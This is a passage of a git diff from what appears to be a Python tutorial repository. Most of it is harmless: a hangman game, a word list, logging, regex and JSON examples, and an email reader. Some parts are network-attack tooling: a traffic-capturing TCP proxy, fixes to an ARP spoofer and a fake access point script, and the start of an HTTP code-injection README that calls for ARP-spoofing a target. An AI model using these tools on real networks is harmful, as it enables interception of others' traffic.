is_out_of_guesses(self) -> bool: + # check if user is out of guesses + return self.incorrect_guesses == self.incorrect_guess_limit + + def check_guess(self, guess_letter: str): + # check guess, if correct, update guessed word + # if wrong, update gallow + if guess_letter in self.secret_word: + self._correct_guess(guess_letter) + else: + self._wrong_guess(guess_letter) + + def _correct_guess(self, guess_letter: str): + # find all index positions of the guess letter in the secret word + index_positions = [index for index, item in enumerate(self.secret_word) if item == guess_letter] + for i in index_positions: + # update guessed word + self.guessed_word = self.guessed_word[0:i] + guess_letter + self.guessed_word[i+1:] + + def _wrong_guess(self, guess_letter: str): + # update gallow + row = 2 + if self.incorrect_guesses > 0 and self.incorrect_guesses < 4: + row = 3 + elif self.incorrect_guesses >= 4: + row = 4 + self.gallow_pieces[row] = self.gallow_pieces[row] + self.man_pieces.pop() + self.gallow = "\n".join(self.gallow_pieces) + # update wrong guesses + if guess_letter not in self.wrong_guesses: + self.wrong_guesses.append(guess_letter) + self.incorrect_guesses += 1 + +def main(): + hangman = Hangman() + + while True: + # greet user and explain mechanics + os.system('cls' if os.name=='nt' else 'clear') + hangman.greet_user() + # show gallow and the hidden word + print(hangman.gallow, "\n") + print("Secret word: ", hangman.guessed_word) + # show the list of wrong guesses + hangman.show_list_of_wrong_guesses() + # check if user is out of guesses + if hangman.is_out_of_guesses(): + print(f"Secret word is: {hangman.secret_word}") + print("You lost") + break + elif hangman.guessed_word == hangman.secret_word: + print("YOU WIN!!!") + break + else: + # take user guess + guess = hangman.take_guess() + # check guess + hangman.check_guess(guess) + +if __name__ == "__main__": + main() diff --git a/python-standard-library/hangman-game/words.txt b/python-standard-library/hangman-game/words.txt new file mode 100644 index 00000000..52587ee4 --- /dev/null +++ b/python-standard-library/hangman-game/words.txt @@ -0,0 +1,2095 @@ +able +about +abruptly +absurd +abyss +account +acid +across +act +addition +adjustment +advertisement +affix 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+present +price +print +prison +private +probable +process +produce +profit +property +prose +protest +pshaw +psyche +public +pull +pump +punishment +puppy +purpose +push +put +puzzling +quality +quartz +question +queue +quick +quiet +quips +quite +quixotic +quiz +quizzes +quorum +rail +rain +range +rat +rate +ray +razzmatazz +reaction +reading +ready +reason +receipt +record +red +regret +regular +relation +religion +representative +request +respect +responsible +rest +reward +rhubarb +rhythm +rhythm +rice +rickshaw +right +ring +river +road +rod +roll +roof +room +root +rough +round +rub +rule +run +sad +safe +sail +salt +same +sand +say +scale +schnapps +school +science +scissors +scratch +screw +sea +seat +second +secret +secretary +see +seed +seem +selection +self +send +sense +separate +serious +servant +sex +shade +shake +shame +sharp +sheep +shelf +ship +shirt +shiv +shock +shoe +short +shut +side +sign +silk +silver +simple +sister +size +skin +skirt +sky +sleep +slip +slope +slow +small +smash +smell +smile +smoke +smooth +snake +snazzy +sneeze +snow +soap +society +sock +soft +solid +some +son +song +sort +sound +soup +south +space +spade +special +sphinx +sponge +spoon +spring +spritz +square +squawk +staff +stage +stamp +star +start +statement +station +steam +steel +stem +step +stick +sticky +stiff +still +stitch +stocking +stomach +stone +stop +store +story +straight +strange +street +strength +strengths +stretch +stretch +strong +stronghold +structure +stymied +substance +subway +such +sudden +sugar +suggestion +summer +sun +support +surprise +sweet +swim +swivel +syndrome +system +table +tail +take +talk +tall +taste +tax +teaching +tendency +test +than +that +the +then +theory +there +thick +thin +thing +this +thought +thread +thriftless +throat +through +through +thumb +thumbscrew +thunder +ticket +tight +till +time +tin +tired +toe +together +tomorrow +tongue +tooth +top +topaz +touch +town +trade +train +transcript +transgress +transplant +transport +tray +tree +trick +triphthong +trouble +trousers +true +turn +twelfth +twelfths +twist +umbrella +under +unit +unknown +unworthy +unzip +uptown +use +value +vaporize +verse +very +vessel +view +violent +vixen +vodka +voice +voodoo +vortex +voyeurism +waiting +walk +walkway +wall +waltz +war +warm +wash +waste +watch +water +wave +wave +wavy +wax +waxy +way +weather +week +weight +well +wellspring +west +wet +wheel +wheezy +when +where +while +whip +whiskey +whistle +white +whizzing +who +whomever +why +wide +will +wimpy +wind +window +wine +wing +winter +wire +wise +witchcraft +with +wizard +woman +wood +wool +woozy +word +work +worm +wound +wristwatch +writing +wrong +wyvern +xylophone +yachtsman +year +yellow +yes +yesterday +yippee +yoked +you +young +youthful +yummy +zephyr +zigzag +zigzagging +zilch +zipper +zodiac +zombie \ No newline at end of file diff --git a/python-standard-library/logging/README.md b/python-standard-library/logging/README.md new file mode 100644 index 00000000..bd4c2005 --- /dev/null +++ b/python-standard-library/logging/README.md @@ -0,0 +1 @@ +# [Logging in Python](https://www.thepythoncode.com/article/logging-in-python) \ No newline at end of file diff --git a/python-standard-library/logging/logger_basic.py b/python-standard-library/logging/logger_basic.py new file mode 100644 index 00000000..2bf05d18 --- /dev/null +++ b/python-standard-library/logging/logger_basic.py @@ -0,0 +1,22 @@ +import logging + +# make a basic logging configuration +# here we set the level of logging to DEBUG +logging.basicConfig( + level=logging.DEBUG +) + +# make a debug message +logging.debug("This is a simple debug log") + +# make an info message +logging.info("This is a simple info log") + +# make a warning message +logging.warning("This is a simple warning log") + +# make an error message +logging.error("This is a simple error log") + +# make a critical message +logging.critical("This is a simple critical log") \ No newline at end of file diff --git a/python-standard-library/logging/logger_config.py b/python-standard-library/logging/logger_config.py new file mode 100644 index 00000000..bca295f9 --- /dev/null +++ b/python-standard-library/logging/logger_config.py @@ -0,0 +1,8 @@ +import logging + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s - %(levelname)s - %(message)s", +) + +logging.info("This is an info message!") \ No newline at end of file diff --git a/python-standard-library/logging/logger_datefmt.py b/python-standard-library/logging/logger_datefmt.py new file mode 100644 index 00000000..47ab3f1e --- /dev/null +++ b/python-standard-library/logging/logger_datefmt.py @@ -0,0 +1,9 @@ +import logging + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s - %(levelname)s - %(message)s", + datefmt="[%Y-%m-%d] %H:%M:%S", +) + +logging.info("This is an info message!") \ No newline at end of file diff --git a/python-standard-library/logging/logger_file.py b/python-standard-library/logging/logger_file.py new file mode 100644 index 00000000..4ccb1d30 --- /dev/null +++ b/python-standard-library/logging/logger_file.py @@ -0,0 +1,25 @@ +import logging +import math + +logging.basicConfig(level=logging.DEBUG, + handlers=[logging.FileHandler('logs.log', 'a', 'utf-8')], + format="%(asctime)s %(levelname)-6s - %(funcName)-8s - %(filename)s - %(lineno)-3d - %(message)s", + datefmt="[%Y-%m-%d] %H:%M:%S - ", + ) + +logging.info("This is an info log") + +def square_root(x): + logging.debug(f"Getting the square root of {x}") + try: + result = math.sqrt(x) + except ValueError: + logging.exception("Cannot get square root of a negative number") + # or + # logging.error("Cannot get square root of a negative number", exc_info=True) + return None + logging.info(f"The square root of {x} is {result:.5f}") + return result + +square_root(5) +square_root(-5) \ No newline at end of file diff --git a/python-standard-library/logging/logger_handlers.py b/python-standard-library/logging/logger_handlers.py new file mode 100644 index 00000000..c20ebcd6 --- /dev/null +++ b/python-standard-library/logging/logger_handlers.py @@ -0,0 +1,21 @@ +import logging + +# return a logger with the specified name & creating it if necessary +logger = logging.getLogger(__name__) + +# create a logger handler, in this case: file handler +file_handler = logging.FileHandler("file.log") +# set the level of logging to INFO +file_handler.setLevel(logging.INFO) + +# create a logger formatter +logging_format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s") + +# add the format to the logger handler +file_handler.setFormatter(logging_format) + +# add the handler to the logger +logger.addHandler(file_handler) + +# use the logger as previously +logger.critical("This is a critical message!") diff --git a/python-standard-library/logging/logger_simple.py b/python-standard-library/logging/logger_simple.py new file mode 100644 index 00000000..70a5f151 --- /dev/null +++ b/python-standard-library/logging/logger_simple.py @@ -0,0 +1,31 @@ +import logging + +# make a debug message +logging.debug("This is a simple debug log") + +# make an info message +logging.info("This is a simple info log") + +# make a warning message +logging.warning("This is a simple warning log") + +# make an error message +logging.error("This is a simple error log") + +# make a critical message +logging.critical("This is a simple critical log") + +# just mapping logging level integers into strings for convenience +logging_levels = { + logging.DEBUG: "DEBUG", # 10 + logging.INFO: "INFO", # 20 + logging.WARNING: "WARNING", # 30 + logging.ERROR: "ERROR", # 40 + logging.CRITICAL: "CRITICAL", # 50 +} + +# get the current logging level +print("Current logging level:", logging_levels.get(logging.root.level)) + +# get the current logging format +print("Current logging format:", logging.BASIC_FORMAT) \ No newline at end of file diff --git a/python-standard-library/print-variable-name-and-value/README.md b/python-standard-library/print-variable-name-and-value/README.md new file mode 100644 index 00000000..8fde81f4 --- /dev/null +++ b/python-standard-library/print-variable-name-and-value/README.md @@ -0,0 +1 @@ +# [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python) \ No newline at end of file diff --git a/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py b/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py new file mode 100644 index 00000000..d561d146 --- /dev/null +++ b/python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py @@ -0,0 +1,7 @@ +# Normal way to print variable name and value +name = "Abdou" +age = 24 +print(f"name: {name}, age: {age}") + +# using the "=" sign +print(f"{name=}, {age=}") diff --git a/python-standard-library/reading-email-messages/reading_emails.py b/python-standard-library/reading-email-messages/reading_emails.py index 4b8723a6..f89ff9aa 100644 --- a/python-standard-library/reading-email-messages/reading_emails.py +++ b/python-standard-library/reading-email-messages/reading_emails.py @@ -7,12 +7,21 @@ # account credentials username = "youremailaddress@provider.com" password = "yourpassword" +# use your email provider's IMAP server, you can look for your provider's IMAP server on Google +# or check this page: https://www.systoolsgroup.com/imap/ +# for office 365, it's this: +imap_server = "outlook.office365.com" + + +def clean(text): + # clean text for creating a folder + return "".join(c if c.isalnum() else "_" for c in text) # number of top emails to fetch N = 3 # create an IMAP4 class with SSL, use your email provider's IMAP server -imap = imaplib.IMAP4_SSL("imap.gmail.com") +imap = imaplib.IMAP4_SSL(imap_server) # authenticate imap.login(username, password) @@ -23,7 +32,7 @@ # total number of emails messages = int(messages[0]) -for i in range(messages-4, messages-N-4, -1): +for i in range(messages, messages-N, -1): # fetch the email message by ID res, msg = imap.fetch(str(i), "(RFC822)") for response in msg: @@ -31,14 +40,16 @@ # parse a bytes email into a message object msg = email.message_from_bytes(response[1]) # decode the email subject - subject = decode_header(msg["Subject"])[0][0] + subject, encoding = decode_header(msg["Subject"])[0] if isinstance(subject, bytes): # if it's a bytes, decode to str - subject = subject.decode() - # email sender - from_ = msg.get("From") + subject = subject.decode(encoding) + # decode email sender + From, encoding = decode_header(msg.get("From"))[0] + if isinstance(From, bytes): + From = From.decode(encoding) print("Subject:", subject) - print("From:", from_) + print("From:", From) # if the email message is multipart if msg.is_multipart(): # iterate over email parts @@ -58,10 +69,11 @@ # download attachment filename = part.get_filename() if filename: - if not os.path.isdir(subject): + folder_name = clean(subject) + if not os.path.isdir(folder_name): # make a folder for this email (named after the subject) - os.mkdir(subject) - filepath = os.path.join(subject, filename) + os.mkdir(folder_name) + filepath = os.path.join(folder_name, filename) # download attachment and save it open(filepath, "wb").write(part.get_payload(decode=True)) else: @@ -74,18 +86,17 @@ print(body) if content_type == "text/html": # if it's HTML, create a new HTML file and open it in browser - if not os.path.isdir(subject): + folder_name = clean(subject) + if not os.path.isdir(folder_name): # make a folder for this email (named after the subject) - os.mkdir(subject) - filename = f"{subject[:50]}.html" - filepath = os.path.join(subject, filename) + os.mkdir(folder_name) + filename = "index.html" + filepath = os.path.join(folder_name, filename) # write the file open(filepath, "w").write(body) # open in the default browser webbrowser.open(filepath) - print("="*100) - # close the connection and logout imap.close() imap.logout() \ No newline at end of file diff --git a/python-standard-library/regular-expressions/README.md b/python-standard-library/regular-expressions/README.md new file mode 100644 index 00000000..864f935c --- /dev/null +++ b/python-standard-library/regular-expressions/README.md @@ -0,0 +1 @@ +# [How to Use Regular Expressions in Python](https://www.thepythoncode.com/article/work-with-regular-expressions-in-python) \ No newline at end of file diff --git a/python-standard-library/regular-expressions/finditer.py b/python-standard-library/regular-expressions/finditer.py new file mode 100644 index 00000000..827c2ed4 --- /dev/null +++ b/python-standard-library/regular-expressions/finditer.py @@ -0,0 +1,30 @@ +import re + +# fake ipconfig output +example_text = """ +Ethernet adapter Ethernet: + + Media State . . . . . . . . . . . : Media disconnected + Physical Address. . . . . . . . . : 88-90-E6-28-35-FA + +Ethernet adapter Ethernet 2: + + Physical Address. . . . . . . . . : 04-00-4C-4F-4F-60 + Autoconfiguration IPv4 Address. . : 169.254.204.56(Preferred) + +Wireless LAN adapter Local Area Connection* 2: + + Media State . . . . . . . . . . . : Media disconnected + Physical Address. . . . . . . . . : B8-21-5E-D3-66-98 + +Wireless LAN adapter Wi-Fi: + + Physical Address. . . . . . . . . : A0-00-79-AA-62-74 + IPv4 Address. . . . . . . . . . . : 192.168.1.101(Preferred) + Default Gateway . . . . . . . . . : 192.168.1.1 +""" +# regex for MAC address +mac_address_regex = r"([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})" +# iterate over matches and extract MAC addresses +extracted_mac_addresses = [ m.group(0) for m in re.finditer(mac_address_regex, example_text) ] +print(extracted_mac_addresses) \ No newline at end of file diff --git a/python-standard-library/regular-expressions/match.py b/python-standard-library/regular-expressions/match.py new file mode 100644 index 00000000..afb891a7 --- /dev/null +++ b/python-standard-library/regular-expressions/match.py @@ -0,0 +1,8 @@ +import re # stands for regular expression +# a regular expression for validating a password +match_regex = r"^(?=.*[0-9]).{8,}$" +# a list of example passwords +passwords = ["pwd", "password", "password1"] +for pwd in passwords: + m = re.match(match_regex, pwd) + print(f"Password: {pwd}, validate password strength: {bool(m)}") \ No newline at end of file diff --git a/python-standard-library/regular-expressions/search.py b/python-standard-library/regular-expressions/search.py new file mode 100644 index 00000000..09a7a4d9 --- /dev/null +++ b/python-standard-library/regular-expressions/search.py @@ -0,0 +1,18 @@ +import re + +# part of ipconfig output +example_text = """ +Wireless LAN adapter Wi-Fi: + + Connection-specific DNS Suffix . : + Link-local IPv6 Address . . . . . : fe80::380e:9710:5172:caee%2 + IPv4 Address. . . . . . . . . . . : 192.168.1.100 + Subnet Mask . . . . . . . . . . . : 255.255.255.0 + Default Gateway . . . . . . . . . : 192.168.1.1 +""" + +# regex for IPv4 address +ip_address_regex = r"((25[0-5]|(2[0-4]|1[0-9]|[1-9]|)[0-9])(\.(?!$)|$)){4}" +# use re.search() method to get the match object +match = re.search(ip_address_regex, example_text) +print(match) \ No newline at end of file diff --git a/python-standard-library/regular-expressions/sub.py b/python-standard-library/regular-expressions/sub.py new file mode 100644 index 00000000..6fedb20c --- /dev/null +++ b/python-standard-library/regular-expressions/sub.py @@ -0,0 +1,16 @@ +import re + +# a basic regular expression for email matching +email_regex = r"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+" +# example text to test with +example_text = """ +Subject: This is a text email! +From: John Doe +Some text here! +=============================== +Subject: This is another email! +From: Abdou Rockikz +Some other text! +""" +# substitute any email found with [email protected] +print(re.sub(email_regex, "[email protected]", example_text)) \ No newline at end of file diff --git a/python-standard-library/split-string/README.md b/python-standard-library/split-string/README.md new file mode 100644 index 00000000..fe078256 --- /dev/null +++ b/python-standard-library/split-string/README.md @@ -0,0 +1 @@ +# [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python) \ No newline at end of file diff --git a/python-standard-library/split-string/split_string.py b/python-standard-library/split-string/split_string.py new file mode 100644 index 00000000..86e17e2b --- /dev/null +++ b/python-standard-library/split-string/split_string.py @@ -0,0 +1,32 @@ +#Declare Two Variables +variable1 = "Splitting a string" +variable2 = 'Splitting another string' + +#Splitting The Variables +print(variable1.split()) +print(variable2.split()) + +#Splitting The Variables +print(variable1.split()) +print(variable2.split(",")) + +#Declare Two Variables +variable1 = "Splitting*a*string" +variable2 = 'Splitting,another,string' +#Splitting The Variables +print(variable1.split("*")) +print(variable2.split(",")) + +#Splitting The Variables +print(variable1.split("*")[2]) +print(variable2.split(",")[0]) + +#Declare The Variable +variable = "Splitting a string" +#Use The Maxsplit +print(variable.split(" ", maxsplit=1)) + +#Declare The Variable +variable = "Splitting a string" +#Split The String By Characters +print(list(variable)) \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md new file mode 100644 index 00000000..f3dd655d --- /dev/null +++ b/python-standard-library/tcp-proxy/README.md @@ -0,0 +1 @@ +# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python) \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py new file mode 100644 index 00000000..d27434ef --- /dev/null +++ b/python-standard-library/tcp-proxy/tcp_proxy.py @@ -0,0 +1,147 @@ +import sys +import socket +import threading +import time +from typing import Optional, Tuple, Dict + +class TcpProxy: + def __init__(self): + self._local_addr: str = "" + self._local_port: int = 0 + self._remote_addr: str = "" + self._remote_port: int = 0 + self._preload: bool = False + self._backlog: int = 5 + self._chunk_size: int = 16 + self._timeout: int = 5 + self._buffer_size: int = 4096 + self._termination_flags: Dict[bytes, bool] = { + b'220 ': True, + b'331 ': True, + b'230 ': True, + b'530 ': True + } + + def _process_data(self, stream: bytes) -> None: + #Transform data stream for analysis + for offset in range(0, len(stream), self._chunk_size): + block = stream[offset:offset + self._chunk_size] + + # Format block representation + bytes_view = ' '.join(f'{byte:02X}' for byte in block) + text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block) + + # Display formatted line + print(f"{offset:04X} {bytes_view:<{self._chunk_size * 3}} {text_view}") + + def _extract_stream(self, conn: socket.socket) -> bytes: + #Extract data stream from connection + accumulator = b'' + conn.settimeout(self._timeout) + + try: + while True: + fragment = conn.recv(self._buffer_size) + if not fragment: + break + + accumulator += fragment + + # Check for protocol markers + if accumulator.endswith(b'\r\n'): + for flag in self._termination_flags: + if flag in accumulator: + return accumulator + + except socket.timeout: + pass + + return accumulator + + def _monitor_stream(self, direction: str, stream: bytes) -> bytes: + # Monitor and decode stream content + try: + content = stream.decode('utf-8').strip() + marker = ">>>" if direction == "in" else "<<<" + print(f"{marker} {content}") + except UnicodeDecodeError: + print(f"{direction}: [binary content]") + + return stream + + def _bridge_connections(self, entry_point: socket.socket) -> None: + #Establish and maintain connection bridge + # Initialize exit point + exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + exit_point.connect((self._remote_addr, self._remote_port)) + # Handle initial remote response + if self._preload: + remote_data = self._extract_stream(exit_point) + if remote_data: + self._process_data(remote_data) + processed = self._monitor_stream("out", remote_data) + entry_point.send(processed) + # Main interaction loop + while True: + # Process incoming traffic + entry_data = self._extract_stream(entry_point) + if entry_data: + print(f"\n[>] Captured {len(entry_data)} bytes incoming") + self._process_data(entry_data) + processed = self._monitor_stream("in", entry_data) + exit_point.send(processed) + # Process outgoing traffic + exit_data = self._extract_stream(exit_point) + if exit_data: + print(f"\n[<] Captured {len(exit_data)} bytes outgoing") + self._process_data(exit_data) + processed = self._monitor_stream("out", exit_data) + entry_point.send(processed) + # Prevent CPU saturation + if not (entry_data or exit_data): + time.sleep(0.1) + except Exception as e: + print(f"[!] Bridge error: {str(e)}") + finally: + print("[*] Closing bridge") + entry_point.close() + exit_point.close() + + def orchestrate(self) -> None: + # Orchestrate the proxy operation + # Validate input + if len(sys.argv[1:]) != 5: + print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]") + print("Example: script.py 127.0.0.1 8080 target.com 80 True") + sys.exit(1) + # Configure proxy parameters + self._local_addr = sys.argv[1] + self._local_port = int(sys.argv[2]) + self._remote_addr = sys.argv[3] + self._remote_port = int(sys.argv[4]) + self._preload = "true" in sys.argv[5].lower() + # Initialize listener + listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + listener.bind((self._local_addr, self._local_port)) + except socket.error as e: + print(f"[!] Binding failed: {e}") + sys.exit(1) + listener.listen(self._backlog) + print(f"[*] Service active on {self._local_addr}:{self._local_port}") + # Main service loop + while True: + client, address = listener.accept() + print(f"[+] Connection from {address[0]}:{address[1]}") + bridge = threading.Thread( + target=self._bridge_connections, + args=(client,) + ) + bridge.daemon = True + bridge.start() + +if __name__ == "__main__": + bridge = TcpProxy() + bridge.orchestrate() \ No newline at end of file diff --git a/python-standard-library/working-with-json/README.md b/python-standard-library/working-with-json/README.md new file mode 100644 index 00000000..cde390e6 --- /dev/null +++ b/python-standard-library/working-with-json/README.md @@ -0,0 +1,3 @@ +# [How to Work with JSON Files in Python](https://www.thepythoncode.com/article/working-with-json-files-in-python) +To run `example.py`, you have to install `requests` library: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/python-standard-library/working-with-json/example.py b/python-standard-library/working-with-json/example.py new file mode 100644 index 00000000..75e42cdf --- /dev/null +++ b/python-standard-library/working-with-json/example.py @@ -0,0 +1,28 @@ +import requests +import json + + +# make API request and parse JSON automatically +data = requests.get("https://jsonplaceholder.typicode.com/users").json() +# save all data in a single JSON file +file_name = "user_data.json" +with open(file_name, "w") as f: + json.dump(data, f, indent=4) + print(file_name, "saved successfully!") + +# or you can save each entry into a file +for user in data: + # iterate over `data` list + file_name = f"user_{user['id']}.json" + with open(file_name, "w") as f: + json.dump(user, f, indent=4) + print(file_name, "saved successfully!") + + +# load 2nd user for instance +file_name = "user_2.json" +with open(file_name) as f: + user_data = json.load(f) + +print(user_data) +print("Username:", user_data["username"]) \ No newline at end of file diff --git a/python-standard-library/working-with-json/loading_json.py b/python-standard-library/working-with-json/loading_json.py new file mode 100644 index 00000000..ba1f3ea8 --- /dev/null +++ b/python-standard-library/working-with-json/loading_json.py @@ -0,0 +1,15 @@ +import json + +# read a JSON file +# 1st option +file_name = "data1.json" +with open(file_name) as f: + data = json.load(f) + +print(data) +# 2nd option +file_name = "data2.json" +with open(file_name) as f: + data = json.loads(f.read()) + +print(data) \ No newline at end of file diff --git a/python-standard-library/working-with-json/requirements.txt b/python-standard-library/working-with-json/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/python-standard-library/working-with-json/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/python-standard-library/working-with-json/saving_json.py b/python-standard-library/working-with-json/saving_json.py new file mode 100644 index 00000000..8885b9c7 --- /dev/null +++ b/python-standard-library/working-with-json/saving_json.py @@ -0,0 +1,30 @@ +import json + +# example dictionary to save as JSON +data = { + "first_name": "John", + "last_name": "Doe", + "email": "john@doe.com", + "salary": 1499.9, # just to demonstrate we can use floats as well + "age": 17, + "is_real": False, # also booleans! + "titles": ["The Unknown", "Anonymous"] # also lists! +} + +# save JSON file +# 1st option +with open("data1.json", "w") as f: + json.dump(data, f) + +# 2nd option +with open("data2.json", "w") as f: + f.write(json.dumps(data, indent=4)) + + +unicode_data = { + "first_name": "أحمد", + "last_name": "علي" +} + +with open("data_unicode.json", "w", encoding="utf-8") as f: + json.dump(unicode_data, f, ensure_ascii=False) \ No newline at end of file diff --git a/scapy/arp-spoofer/arp_spoof.py b/scapy/arp-spoofer/arp_spoof.py index 51b9fb5b..6179bdd5 100644 --- a/scapy/arp-spoofer/arp_spoof.py +++ b/scapy/arp-spoofer/arp_spoof.py @@ -79,7 +79,7 @@ def restore(target_ip, host_ip, verbose=True): # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet - arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) + arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at") # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) @@ -108,4 +108,4 @@ def restore(target_ip, host_ip, verbose=True): except KeyboardInterrupt: print("[!] Detected CTRL+C ! restoring the network, please wait...") restore(target, host) - restore(host, target) \ No newline at end of file + restore(host, target) diff --git a/scapy/arp-spoofer/requirements.txt b/scapy/arp-spoofer/requirements.txt index 93b351f4..3f462529 100644 --- a/scapy/arp-spoofer/requirements.txt +++ b/scapy/arp-spoofer/requirements.txt @@ -1 +1,2 @@ -scapy \ No newline at end of file +scapy +pywin32 \ No newline at end of file diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md new file mode 100644 index 00000000..c57f5974 --- /dev/null +++ b/scapy/crafting-packets/README.md @@ -0,0 +1 @@ +# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py new file mode 100644 index 00000000..e5b1b43c --- /dev/null +++ b/scapy/crafting-packets/network_latency_measure.py @@ -0,0 +1,21 @@ +server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"] + +from scapy.all import IP, ICMP, sr1 +import time + +def check_latency(ip): + packet = IP(dst=ip) / ICMP() + start_time = time.time() + response = sr1(packet, timeout=2, verbose=0) + end_time = time.time() + + if response: + latency = (end_time - start_time) * 1000 # Convert to milliseconds + print(f"[+] Latency to {ip}: {latency:.2f} ms") + else: + print(f"[-] No response from {ip} (possible packet loss)") + +for server_ip in server_ips: + check_latency(server_ip) + + diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py new file mode 100644 index 00000000..7d0f3399 --- /dev/null +++ b/scapy/crafting-packets/packet_craft.py @@ -0,0 +1,34 @@ +# Uncomment them and run according to the tutorial +#from scapy.all import IP, TCP, send, UDP + +# # Step 1: Creating a simple IP packet +# packet = IP(dst="192.168.1.1") # Setting the destination IP +# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S") +# print(packet.show()) # Display packet details +# send(packet) + + +############ +# from scapy.all import ICMP + +# # Creating an ICMP Echo request packet +# icmp_packet = IP(dst="192.168.1.1") / ICMP() +# send(icmp_packet) + + +############ +# from scapy.all import UDP + +# # Creating a UDP packet +# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345) +# send(udp_packet) + + + +########### +# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S") +# send(blocked_packet) + +# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53) +# send(allowed_packet) + diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/crafting-packets/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scapy/dhcp_listener/README.md b/scapy/dhcp_listener/README.md index 6a7323a5..128e16ac 100644 --- a/scapy/dhcp_listener/README.md +++ b/scapy/dhcp_listener/README.md @@ -1,7 +1,7 @@ -# Listening for new Connected Devices in the Network using DHCP +# [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python) to run this: - `pip3 install -r requirements.txt` - ``` - python3 dhcp_listener.py + $ python3 dhcp_listener.py ``` \ No newline at end of file diff --git a/scapy/dhcp_listener/dhcp_listener.py b/scapy/dhcp_listener/dhcp_listener.py index de8655c5..e036e40c 100644 --- a/scapy/dhcp_listener/dhcp_listener.py +++ b/scapy/dhcp_listener/dhcp_listener.py @@ -1,16 +1,16 @@ from scapy.all import * import time -hosts = [] -Ether = 1 - def listen_dhcp(): # Make sure it is DHCP with the filter options - k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)') + sniff(prn=print_packet, filter='udp and (port 67 or port 68)') + def print_packet(packet): + # initialize these variables to None at first target_mac, requested_ip, hostname, vendor_id = [None] * 4 + # get the MAC address of the requester if packet.haslayer(Ether): target_mac = packet.getlayer(Ether).src # get the DHCP options @@ -21,15 +21,18 @@ def print_packet(packet): except ValueError: continue if label == 'requested_addr': + # get the requested IP requested_ip = value elif label == 'hostname': + # get the hostname of the device hostname = value.decode() elif label == 'vendor_class_id': + # get the vendor ID vendor_id = value.decode() - if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts: - hosts.append(target_mac) - time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ") - print("{}: {} - {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip)) + if target_mac and vendor_id and hostname and requested_ip: + # if all variables are not None, print the device details + time_now = time.strftime("[%Y-%m-%d - %H:%M:%S]") + print(f"{time_now} : {target_mac} - {hostname} / {vendor_id} requested {requested_ip}") if __name__ == "__main__": diff --git a/scapy/fake-access-point/fake_access_point.py b/scapy/fake-access-point/fake_access_point.py index 35e203fa..ffecffb7 100644 --- a/scapy/fake-access-point/fake_access_point.py +++ b/scapy/fake-access-point/fake_access_point.py @@ -34,7 +34,7 @@ def send_beacon(ssid, mac, infinite=True): parser = argparse.ArgumentParser(description="Fake Access Point Generator") parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode") - parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated") + parser.add_argument("-n", "--access-points", type=int, dest="n_ap", help="Number of access points to be generated") args = parser.parse_args() n_ap = args.n_ap iface = args.interface diff --git a/scapy/http-code-injector/README.md b/scapy/http-code-injector/README.md new file mode 100644 index 00000000..03b7eb0d --- /dev/null +++ b/scapy/http-code-injector/README.md @@ -0,0 +1,14 @@ +# [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python) +To run this: +- `pip3 install -r requirements.txt` +- Make sure you enabled IP forwarding, if you're using [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy), then it'll automatically enable it. +- Start ARP Spoofing against the target using any tool such as [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy) or arpspoof tool on Kali Linux. +- Add a new nfqueue FORWARD rule on 